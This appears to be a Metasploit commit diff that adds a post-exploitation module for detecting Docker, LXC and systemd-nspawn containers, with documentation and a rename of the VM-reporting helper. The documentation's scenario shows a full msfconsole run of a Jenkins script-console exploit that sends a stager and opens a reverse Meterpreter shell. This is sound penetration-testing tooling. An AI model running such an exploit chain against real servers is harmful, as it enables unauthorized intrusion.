Land #8799, Add module to detect Docker, LXC, and systemd-nspawn containers
commit
f7dc831e9a
|
@ -0,0 +1,76 @@
|
|||
## Indicators
|
||||
|
||||
There are several indicators that a process is being executed inside of a container. This module looks for the following indicators:
|
||||
|
||||
1. Presence of `/.dockerenv` file indicates Docker.
|
||||
2. Finding select strings in `/proc/1/cgroup` indicates LXC or Docker.
|
||||
3. The value of the `container` environment variable in `/proc/1/environ` indicates LXC or systemd nspawn.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a session via exploit of your choice
|
||||
3. `run post/linux/gather/checkcontainer`
|
||||
4. You should get feedback if a container was detected
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions -l`
|
||||
|
||||
## Scenarios
|
||||
|
||||
Check if the jenkins instance you have a shell on is running inside a Docker container.
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/jenkins_script_console
|
||||
msf exploit(jenkins_script_console) > set API_TOKEN bc3dbc5c328733cc826c15772e6eaef5
|
||||
API_TOKEN => bc3dbc5c328733cc826c15772e6eaef5
|
||||
msf exploit(jenkins_script_console) > set RHOST 10.0.0.40
|
||||
RHOST => 10.0.0.40
|
||||
msf exploit(jenkins_script_console) > set RPORT 8080
|
||||
RPORT => 8080
|
||||
msf exploit(jenkins_script_console) > set TARGETURI /
|
||||
TARGETURI => /
|
||||
msf exploit(jenkins_script_console) > set TARGET 1
|
||||
TARGET => 1
|
||||
msf exploit(jenkins_script_console) > set USERNAME user
|
||||
USERNAME => user
|
||||
msf exploit(jenkins_script_console) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.49:4444
|
||||
[*] Checking access to the script console
|
||||
[*] Authenticating with token...
|
||||
[*] Using CSRF token: 'b83d12171ba5248100f1de20e6472067' (Jenkins-Crumb style)
|
||||
[*] 10.0.0.40:8080 - Sending Linux stager...
|
||||
[*] Sending stage (826840 bytes) to 10.0.0.40
|
||||
[*] Meterpreter session 1 opened (10.0.0.49:4444 -> 10.0.0.40:54404) at 2017-08-16 20:56:23 -0500
|
||||
[!] Deleting /tmp/aFdmPcC payload file
|
||||
|
||||
meterpreter > run post/linux/gather/checkcontainer
|
||||
|
||||
[+] This appears to be a 'Docker' container
|
||||
meterpreter >
|
||||
```
|
||||
Detect a LXC container
|
||||
```
|
||||
meterpreter > run post/linux/gather/checkcontainer
|
||||
|
||||
[+] This appears to be a 'LXC' container
|
||||
meterpreter >
|
||||
```
|
||||
Detect a systemd nspawn container
|
||||
```
|
||||
meterpreter > run post/linux/gather/checkcontainer
|
||||
|
||||
[+] This appears to be a 'systemd nspawn' container
|
||||
meterpreter >
|
||||
```
|
||||
Detect nothing
|
||||
```
|
||||
meterpreter > run post/linux/gather/checkcontainer
|
||||
|
||||
[*] This does not appear to be a container
|
||||
meterpreter >
|
||||
```
|
|
@ -135,7 +135,7 @@ module Msf::DBManager::Host
|
|||
# +:arch+:: -- one of the ARCH_* constants
|
||||
# +:mac+:: -- the host's MAC address
|
||||
# +:scope+:: -- interface identifier for link-local IPv6
|
||||
# +:virtual_host+:: -- the name of the VM host software, eg "VMWare", "QEMU", "Xen", etc.
|
||||
# +:virtual_host+:: -- the name of the virtualization software, eg "VMWare", "QEMU", "Xen", "Docker", etc.
|
||||
#
|
||||
def report_host(opts)
|
||||
|
||||
|
|
|
@ -167,19 +167,19 @@ module Msf::Post::Common
|
|||
end
|
||||
|
||||
#
|
||||
# Reports to the database that the host is a virtual machine and reports
|
||||
# the type of virtual machine it is (e.g VirtualBox, VMware, Xen)
|
||||
# Reports to the database that the host is using virtualization and reports
|
||||
# the type of virtualization it is (e.g VirtualBox, VMware, Xen, Docker)
|
||||
#
|
||||
def report_vm(vm)
|
||||
def report_virtualization(virt)
|
||||
return unless session
|
||||
return unless vm
|
||||
vm_normal = vm.to_s.strip
|
||||
return if vm_normal.empty?
|
||||
vm_data = {
|
||||
return unless virt
|
||||
virt_normal = virt.to_s.strip
|
||||
return if virt_normal.empty?
|
||||
virt_data = {
|
||||
:host => session.target_host,
|
||||
:virtual_host => vm_normal
|
||||
:virtual_host => virt_normal
|
||||
}
|
||||
report_host(vm_data)
|
||||
report_host(virt_data)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -0,0 +1,65 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::File
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Linux Gather Container Detection',
|
||||
'Description' => %q{
|
||||
This module attempts to determine whether the system is running
|
||||
inside of a container and if so, which one. This module supports
|
||||
detection of Docker, LXC, and systemd nspawn.},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'James Otten <jamesotten1[at]gmail.com>'],
|
||||
'Platform' => [ 'linux' ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ]
|
||||
))
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
container = nil
|
||||
|
||||
# Check for .dockerenv file
|
||||
if container.nil?
|
||||
if file?("/.dockerenv")
|
||||
container = "Docker"
|
||||
end
|
||||
end
|
||||
|
||||
# Check cgroup on PID 1
|
||||
if container.nil?
|
||||
cgroup = read_file("/proc/1/cgroup")
|
||||
if cgroup
|
||||
case cgroup.tr("\n", " ")
|
||||
when /docker/i
|
||||
container = "Docker"
|
||||
when /lxc/i
|
||||
container = "LXC"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Check for the "container" environment variable
|
||||
if container.nil?
|
||||
container_variable = get_env("container")
|
||||
case container_variable
|
||||
when "lxc"
|
||||
container = "LXC"
|
||||
when "systemd-nspawn"
|
||||
container = "systemd nspawn"
|
||||
end
|
||||
end
|
||||
|
||||
if container
|
||||
print_good("This appears to be a '#{container}' container")
|
||||
report_virtualization(container)
|
||||
else
|
||||
print_status("This does not appear to be a container")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -150,7 +150,7 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
if vm
|
||||
print_good("This appears to be a '#{vm}' virtual machine")
|
||||
report_vm(vm)
|
||||
report_virtualization(vm)
|
||||
else
|
||||
print_status("This does not appear to be a virtual machine")
|
||||
end
|
||||
|
|
|
@ -324,7 +324,7 @@ class MetasploitModule < Msf::Post
|
|||
found ||= xenchk(session)
|
||||
found ||= qemuchk(session)
|
||||
if found
|
||||
report_vm(found)
|
||||
report_virtualization(found)
|
||||
else
|
||||
print_status("#{sysinfo['Computer']} appears to be a Physical Machine")
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue